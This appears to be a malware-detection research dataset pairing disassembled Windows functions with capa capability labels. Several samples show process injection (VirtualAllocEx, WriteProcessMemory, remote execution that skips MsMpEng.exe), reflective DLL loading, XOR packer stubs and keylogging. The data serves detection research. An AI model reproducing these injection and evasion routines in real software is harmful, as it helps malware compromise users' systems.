joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46f260
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa8], 0
je 0x46f2cb
cmp byte [ebx + 0xcf], 0
jne 0x46f2cb
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x170]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040553c
mov eax, dword [esi]
mov dword [esp + 0x200], eax
mov eax, dword [esp + 0x200]
test eax, eax
je 0x46f2b8
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x46f2d8
mov eax, esi
mov edx, dword [ebx + 0x88]
call fcn.00405400
jmp 0x46f2d8
mov eax, esi
mov edx, dword [ebx + 0x88]
call fcn.00405400
add esp, 0x204
pop esi
pop ebx
ret

Function at 0x4708b4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x80]
test esi, esi
je 0x470922
mov eax, esi
call fcn.0045756c
test al, al
je 0x470922
mov eax, dword [ebx + 0x80]
call fcn.004571c0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x470922
mov eax, dword [ebx + 0x80]
mov edx, dword [eax]
call dword [edx + 0xec]
test al, al
je 0x470916
push 0
mov eax, dword [ebx + 0x80]
call fcn.004571c0
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x80]
call fcn.0044e808
jmp 0x470922
mov cl, 1
mov edx, dword [ebx + 0x70]
mov eax, ebx
call fcn.00470700
pop esi
pop ebx
ret
Function at 0x47a91c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004053e8
xor eax, eax
push ebp
push 0x47aa35
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
xor edx, edx
call fcn.00405454
mov dl, 1
mov eax, dword [0x4170c8]
call fcn.0041b930
mov dword [ebp - 0x14], eax
mov dx, 0x20
mov eax, dword [ebp - 0x14]
call fcn.0041af44
push ecx
push edi
mov ecx, 0x6f
xor edi, 0xf5
dec edi
or edi, 0xb5
and ecx, 0x17f
pop edi
pop ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
call fcn.0041ad08
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x47aa02
inc ebx
xor esi, esi
lea ecx, [ebp - 0x18]
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x18]
call fcn.0040abfc
mov edi, eax
push esi
dec esi
inc esi
push esi
pop esi
push esi
pop esi
nop
nop
xor esi, 0x131
add esi, 0x8c
mov esi, 0xb9
sub esi, 0x13a
pop esi
lea eax, [ebp - 0x1c]
mov edx, edi
add dx, word [ebp - 0xc]
call fcn.0040556c
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 8]
call fcn.00405724
inc esi
dec ebx
jne 0x47a9ad
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405400
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47aa3c
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004053f8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004053f8
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x6c130fb8
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x83141bf
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x416ef0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0xd000]
push edi
or ebp, 0xffffffff
jmp 0x416f12
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x416f19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x416f08
mov eax, 1
add ebx, ebx
jne 0x416f2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x416f20
jne 0x416f3c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416f20
xor ecx, ecx
sub eax, 3
jb 0x416f50
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x416fc2
mov ebp, eax
add ebx, ebx
jne 0x416f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x416f68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x416f8c
inc ecx
add ebx, ebx
jne 0x416f78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x416f6d
jne 0x416f89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416f6d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x416fac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x416f9d
jmp 0x416f0e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x416fac
add edi, ecx
jmp 0x416f0e
pop esi
mov edi, esi
mov ecx, 0x70a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x416fca
cmp byte [edi], 0x12
jne 0x416fca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x416fcf
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0x41703e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x17000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17078]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x416ffc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1707c]
or eax, eax
je 0x417038
mov dword [ebx], eax
add ebx, 4
jmp 0x417019
call dword [esi + 0x17084]
mov ebp, dword [esi + 0x17080]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x417072
sub esp, 0xffffff80
jmp 0x407c42

Function at 0x40894f
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov edx, 0x4085d8
call fcn.0040896d
sub eax, 0x539d53a8
add ecx, eax
xor dword [ebx], edx
dec eax
inc ebx
cmp ebx, edi
jne fcn.0040894f
dec eax
sub eax, eax
ret
Function at 0x100012f8
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x9c40
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [ebp - 4], esi
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x9c40
push edi
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x10001360
mov eax, dword [ebp - 4]
shr eax, 2
mov dword [ebp - 4], eax
test eax, eax
je 0x1000135d
push dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov ecx, dword [edi + esi*4]
call fcn.100019d4
push dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov ecx, dword [edi + esi*4]
call fcn.100019d4
inc esi
pop ecx
pop ecx
cmp esi, dword [ebp - 4]
jb 0x10001339
xor esi, esi
inc esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x10001494
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
push ebx
push esi
push edi
xor esi, esi
lea eax, [ebp - 8]
push esi
push esi
push esi
push esi
push eax
push esi
push esi
push esi
push esi
push esi
mov edi, edx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x1c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x10001580
mov dword [ebp - 4], esi
cmp dword [ebp - 8], esi
jbe 0x10001580
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], 0x64
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], 4
push eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xe8]
push eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x10001573
cmp dword [ebp - 0x14], 4
jne 0x10001573
mov eax, dword [ebp - 0x18]
mov ecx, ebx
mov edx, eax
mov dword [ebp - 0x20], eax
call fcn.100015bd
test eax, eax
jne 0x10001573
mov eax, dword [ebx + 4]
cmp dword [ebx], eax
jne 0x10001566
add eax, 0x10
mov dword [ebx + 4], eax
shl eax, 2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebx]
mov edi, eax
mov esi, dword [ebx + 8]
shl ecx, 2
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 8]
push ecx
push 0
mov dword [ebx + 8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebx]
mov eax, dword [ebx + 8]
mov edx, dword [ebp - 0x20]
mov dword [eax + ecx*4], edx
inc dword [ebx]
inc esi
mov dword [ebp - 4], esi
cmp esi, dword [ebp - 8]
jb 0x100014d2
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000161d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
push ebx
push edi
xor ebx, ebx
mov edi, ecx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 8]
mov eax, edx
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x10001706
push esi
push 0x20a
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp dword [ebp - 8], ebx
jbe 0x100016f5
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], 0x64
push eax
push esi
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], 0x104
push eax
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xe0]
push eax
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x100016eb
cmp dword [ebp - 0x18], 1
jne 0x100016eb
test esi, esi
je 0x100016e2
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [edi], ecx
jbe 0x100016e2
cmp dword [edi + 8], 0
mov eax, dword [edi + 0xc]
push esi
mov eax, dword [eax + ecx*4]
push eax
je 0x100016c8
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
jmp 0x100016ce
call dword [sym.imp.SHLWAPI.dll_StrCmpW]
neg eax
sbb eax, eax
inc eax
test eax, eax
jne 0x100016eb
mov ecx, dword [ebp - 4]
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, dword [edi]
jb 0x100016b2
mov edx, esi
mov ecx, edi
call fcn.10001758
inc ebx
cmp ebx, dword [ebp - 8]
jb 0x1000166d
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop edi
pop ebx
leave
ret
Function at 0x100019d4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
mov esi, edx
xor ebx, ebx
push edi
lea edx, [ebp - 8]
mov dword [ebp - 4], esi
mov edi, ecx
call fcn.10001db6
test eax, eax
je 0x10001b72
lea edx, [ebp - 0xc]
mov ecx, esi
call fcn.10001ff0
test eax, eax
je 0x10001b72
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xc]
jne 0x10001b72
push edi
push ebx
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10001b72
push ecx
lea eax, [ebp - 0x21c]
xor edx, edx
push eax
mov ecx, edi
call fcn.10001ec5
pop ecx
pop ecx
test eax, eax
je 0x10001a74
mov dword [ebp - 0x10], str.MsMpEng.exe
xor edi, edi
mov dword [ebp - 0xc], str.MSBuild.exe
push dword [ebp + edi*4 - 0x10]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x10001b6b
inc edi
cmp edi, 2
jb 0x10001a55
push 0
push 4
lea eax, [ebp - 0xc]
push eax
push 0x1d
push esi
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x10001b6b
cmp dword [ebp - 0xc], ebx
jne 0x10001b6b
lea edx, [ebp - 8]
mov ecx, esi
call fcn.10001e2d
test eax, eax
je 0x10001b6b
cmp dword [ebp - 8], 0x2000
jb 0x10001b6b
mov ecx, dword [ebp - 4]
call fcn.10002025
mov dword [ebp - 8], eax
test eax, eax
je 0x10001b6b
push 0x40
push 0x3000
push dword [ebp + 8]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x10001b6b
push 0
push dword [ebp + 8]
push dword [ebp - 4]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001b6b
mov eax, dword [ebp - 8]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push edi
add eax, edi
mov dword [ebp - 4], ecx
push eax
push esi
push ecx
lea eax, [ebp - 4]
push 0x1fffff
push eax
call fcn.10001e0e
call eax
test eax, eax
js 0x10001b6b
cmp dword [ebp - 4], ebx
je 0x10001b6b
push 0x64
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10001b62
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x10001b4d
xor ebx, ebx
cmp dword [ebp - 8], ebx
setne bl
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
neg eax
sbb eax, eax
and ebx, eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x10001b79
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], edx
push 0x9c40
push ebx
mov edi, ecx
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
push 0x9c40
push ebx
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
mov esi, dword [ebp - 4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
push 0x9c40
push esi
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x10001cf7
mov eax, dword [ebp - 0xc]
shr eax, 2
mov dword [ebp - 0xc], eax
test eax, eax
je 0x10001cf5
add edi, 8
mov dword [ebp - 0x18], edi
push dword [esi + ebx*4]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x10001ceb
push 3
lea eax, [ebp - 8]
push eax
push 0x9c40
push dword [ebp - 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModulesEx]
test eax, eax
je 0x10001ce4
mov eax, dword [ebp - 8]
xor esi, esi
shr eax, 2
mov dword [ebp - 8], eax
test eax, eax
je 0x10001ce1
push 0
push 0x200
lea eax, [ebp - 0x224]
push eax
mov eax, dword [ebp - 0x10]
push dword [eax + esi*4]
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10001c84
mov cx, word [ebp - 0x1e4]
mov eax, 0x7277
cmp cx, ax
je 0x10001c8c
add eax, 0xfffffffc
cmp cx, ax
je 0x10001c8c
mov eax, 0x7268
cmp cx, ax
je 0x10001c8c
inc esi
cmp esi, dword [ebp - 8]
jb 0x10001c42
jmp 0x10001ce1
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x14]
cmp edx, dword [eax]
jae 0x10001cdd
mov eax, dword [ebp - 4]
mov esi, dword [ebp - 0x18]
mov eax, dword [eax + ebx*4]
mov dword [esi - 8], eax
mov eax, 0x7277
mov word [esi - 4], cx
cmp cx, ax
jne 0x10001cbe
mov eax, dword [ebp - 0x1e2]
mov ecx, dword [ebp - 0x1de]
jmp 0x10001ccc
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
inc edx
mov dword [esi], eax
mov dword [esi + 4], ecx
add esi, 0x10
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], esi
jmp 0x10001ce1
and dword [ebp - 0x24], 0
mov esi, dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [ebp - 0xc]
jb 0x10001bf8
xor ebx, ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
pop ebx
leave
ret
Function at 0x10002025
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea edx, [ebp - 8]
mov esi, ecx
call fcn.10001ff0
test eax, eax
je 0x100020af
cmp dword [ebp - 8], 0
mov ecx, esi
mov eax, dword [esi + 0x3c]
je 0x1000204f
mov edx, dword [eax + esi + 0x88]
jmp 0x10002053
mov edx, dword [eax + esi + 0x78]
call fcn.100020d4
mov ecx, esi
lea ebx, [eax + esi]
mov edx, dword [ebx + 0x20]
mov dword [ebp - 4], ebx
call fcn.100020d4
mov edx, dword [ebx + 0x24]
mov ecx, esi
lea edi, [esi + eax]
call fcn.100020d4
add eax, esi
xor ebx, ebx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 0x18], ebx
jbe 0x100020af
mov edx, dword [edi]
mov ecx, esi
push str.ReflectiveDllMain
call fcn.100020d4
add eax, esi
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
mov eax, dword [ebp - 4]
jne 0x100020b6
add dword [ebp - 8], 2
add edi, 4
inc ebx
cmp ebx, dword [eax + 0x18]
jb 0x10002084
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edx, dword [eax + 0x1c]
mov ecx, esi
call fcn.100020d4
mov ecx, dword [ebp - 8]
add eax, esi
movzx edx, word [ecx]
mov ecx, esi
mov edx, dword [eax + edx*4]
call fcn.100020d4
jmp 0x100020b1

Function at 0x401000
Capabilities:
Log keystrokes via polling

Disassembly:
mov ecx, 0x5bfe
mov eax, ecx
mov dword [0x4b4752], eax
mov dword [0x4b4739], 0
mov eax, dword [0x4b4739]
mov dword [0x4b48ef], eax
mov dword [0x4b49c1], 0
mov eax, dword [0x4b49c1]
mov eax, ebx
xor ebx, eax
test dword [0x4b428b], eax
jne 0x401045
mov ebx, 0x19c2
sub eax, ebx
dec eax
shl eax, 1
ror eax, 1
or eax, dword [0x4b43b9]
je 0x401077
sub eax, dword [0x4b47dd]
dec eax
mov ebx, 0x11e8
add eax, ebx
dec eax
or eax, ebx
mov ebx, 0x1dd0
sub eax, ebx
add eax, dword [0x4b4a1d]
xor ebx, eax
sub eax, dword [0x4b46db]
shr eax, 1
add dword [0x4b42db], eax
jmp fcn.00402754
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x62783d65
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..text_1
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x49fb471e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x4093d0
Capabilities:
Check http status code

Disassembly:
sub esp, 0xc
mov ecx, dword [0x97cfb8]
xor eax, eax
mov dword [esp], eax
add ecx, 0x22051
mov dword [esp + 4], eax
mov word [esp + 8], ax
mov dx, word [ecx]
mov word [esp], dx
mov al, byte [ecx + 2]
lea ecx, [esp]
push ecx
mov byte [esp + 6], al
call fcn.004196ac
add esp, 4
cmp ax, 1
je 0x409598
cmp ax, 2
je 0x409598
cmp ax, 3
je 0x409598
cmp ax, 4
je 0x409598
cmp ax, 5
je 0x409598
cmp ax, 6
je 0x409598
cmp ax, 7
je 0x409598
cmp ax, 8
je 0x409598
cmp ax, 9
je 0x409598
cmp ax, 0xa
je 0x409598
cmp ax, 0xb
je 0x409598
cmp ax, 0xc
je 0x409598
cmp ax, 0xd
je 0x409598
cmp ax, 0xe
je 0x409598
cmp ax, 0xf
je 0x409598
cmp ax, 0x11
je 0x409598
cmp ax, 0x12
je 0x409598
cmp ax, 0x13
je 0x409598
cmp ax, 0x14
je 0x409598
cmp ax, 0x15
je 0x409598
cmp ax, 0x17
je 0x409598
cmp ax, 0x19
je 0x409598
cmp ax, 0x1a
je 0x409598
cmp ax, 0x1b
je 0x409598
cmp ax, 0x1d
je 0x409598
cmp ax, 0x21
je 0x409598
cmp ax, 0x22
je 0x409598
cmp ax, 0x23
je 0x409598
cmp ax, 0x24
je 0x409598
cmp ax, 0x25
je 0x409598
cmp ax, 0x26
je 0x409598
cmp ax, 0x27
je 0x409598
cmp ax, 0x28
je 0x409598
cmp ax, 0x29
je 0x409598
cmp ax, 0x2a
je 0x409598
cmp ax, 0x2c
je 0x409598
cmp ax, 0x2d
je 0x409598
cmp ax, 0x51
je 0x409598
cmp ax, 0x52
je 0x409598
cmp ax, 0x53
je 0x409598
cmp ax, 0x54
je 0x409598
cmp ax, 0x55
je 0x409598
cmp ax, 0x56
je 0x409598
cmp ax, 0x57
je 0x409598
cmp ax, 0xc8
jge 0x409598
mov edx, dword [0x97cfb8]
xor ax, ax
mov byte [edx + 0x2204f], 0x31
add esp, 0xc
ret
mov eax, dword [0x97cfb8]
mov byte [eax + 0x2204f], 0x30
xor ax, ax
add esp, 0xc
ret
Function at 0x40cf70
Capabilities:
Delete file

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [0x97cfb8]
mov edi, str._tuc_file_as0951p.LOG
lea edx, [esp + 0xc]
mov cx, word [eax + 0x1cb]
xor eax, eax
mov word [esp + 0xc], cx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.0040d170
pop edi
pop esi
test ax, ax
pop ebx
jl 0x40d00e
call fcn.0040d020
call fcn.00409760
push 0x9ba558
call fcn.0040d3e0
mov ax, word [0x994358]
add esp, 4
cmp ax, 0x64
jg 0x40d00e
movsx ecx, ax
mov dword [0x9bfb58], ecx
call fcn.0040d070
call fcn.0040d110
add esp, 0x104
ret
Function at 0x4149d0
Capabilities:
Get hostname
Get session user name

Disassembly:
sub esp, 0xc4
push ebx
push ebp
push esi
push edi
mov ecx, 0x14
xor eax, eax
lea edi, [esp + 0x34]
mov dword [esp + 0x10], 0x28
rep stosd dword es:[edi], eax
mov eax, dword [0x97cfb8]
cmp dword [eax + 0x3dc60], 1
jne 0x414a0f
lea ecx, [esp + 0x10]
lea edx, [esp + 0x34]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
jmp 0x414a1f
lea eax, [esp + 0x10]
lea ecx, [esp + 0x34]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov al, byte [esp + 0x34]
test al, al
jne 0x414a58
mov ecx, 0x14
xor eax, eax
lea edi, [esp + 0x34]
lea edx, [esp + 0x34]
rep stosd dword es:[edi], eax
mov edi, str.Standalone
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x14
xor eax, eax
lea edi, [esp + 0x84]
mov dl, byte [esp + 0x34]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x34]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
mov al, byte [esp + 0x35]
dec ecx
mov byte [esp + 0x85], dl
mov byte [esp + 0x86], al
mov cl, byte [esp + ecx + 0x33]
mov byte [esp + 0x84], cl
mov cl, byte [esp + 0x36]
mov byte [esp + 0x87], cl
mov eax, dword [esp + 0x84]
push eax
mov dword [0xa1c6e4], eax
call fcn.0041a437
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
xor ebx, ebx
mov edx, dword [0x97cf5c]
mov ecx, 0x14
xor eax, eax
mov edi, 0xa19f54
rep stosd dword es:[edi], eax
mov cx, word [edx + 0x66]
lea eax, [edx + 0x66]
push eax
push str._sTUCFILELOCKTFNAME
push 0xa19f54
mov word [0xa19f54], cx
call fcn.004195cf
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push 0xa19f54
call esi
cmp eax, 0xffffffff
jne 0x414b9c
call dword [sym.imp.KERNEL32.dll_GetLastError]
inc ebx
mov dword [0xa1c6e0], eax
cmp ebx, 0x12c
jg 0x414ba1
call fcn.0041a444
mov edx, eax
mov ecx, 0x14
push edx
xor eax, eax
lea edi, [esp + 0x88]
lea edx, [esp + 0x88]
push 0x4302bc
push edx
rep stosd dword es:[edi], eax
call fcn.004195cf
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x20]
lea edx, [esp + 0x20]
rep stosd dword es:[edi], eax
mov cl, byte [esp + 0x91]
push edx
stosw word es:[edi], ax
mov al, byte [esp + 0x94]
mov byte [esp + 0x25], cl
mov byte [esp + 0x24], al
mov byte [esp + 0x26], 0x30
call fcn.004196ac
add esp, 0x10
mov dword [0xa19f44], eax
push eax
